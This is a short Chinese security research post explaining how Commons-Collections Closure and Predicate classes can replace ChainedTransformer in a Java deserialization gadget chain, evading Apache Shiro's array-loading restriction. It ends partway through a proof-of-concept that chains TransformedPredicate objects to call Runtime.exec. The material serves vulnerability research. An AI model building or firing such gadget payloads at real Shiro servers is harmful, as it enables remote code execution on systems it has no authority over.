Commons-Collections中Closure和Predicate在Shiro下的利用
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 Closure和Predicate CC反序列化常见的打法有两种: 通过ChainedTransformer链式调用Runtime的exec方法。 直接调用TemplatesImpl加载字节码,这样不需要链式调用 ClosureTransformer类可以调用Closure,其transform方法代码如下: public Object transform(Object input) { iClosure.execute(input); return input; } 可以调用任意Closure类的execute方法。 IfClosure类的execute方法代码如下: public void execute(Object input) { if (iPredicate.evaluate(input) == true) { iTrueClosure.execute(input); } else { iFalseClosure.execute(input); } } 会调用任意Predicate类的evaluate方法,且参数可控。 TransformedPredicate是Predicate接口的一个实现类,其evaluate方法可以链式调用: public boolean evaluate(Object object) { Object result = iTransformer.transform(object); return iPredicate.evaluate(result); } 当前iTransformer的transform方法执行后会将结果作为参数传递给下一个Predicate。将多个TransformedPredicate串起来即可实现链式调用,可以替代ChainedTransformer 命令执行 在Shiro反序列化漏洞中,由于使用特殊的ClassResolvingObjectInputStream类来加载类,会有一些限制:如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。 常见的绕过方式为: 让InvokerTransformer直接调用TemplatesImpl的newTransformer方法,不使用Transformer数组,jdk高版本不能使用。 使用RMI二次反序列化,需要出网。 但使用Predicate不会受到数组限制,因为Predicate是通过一个个引用实现链式调用的。 执行Runtime#exec的POC: Predicate predicate4 = new TransformedPredicate( new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), null ); Predicate predicate3 = new TransformedPredicate( new InvokerTransformer("invoke", new Class[]{Object....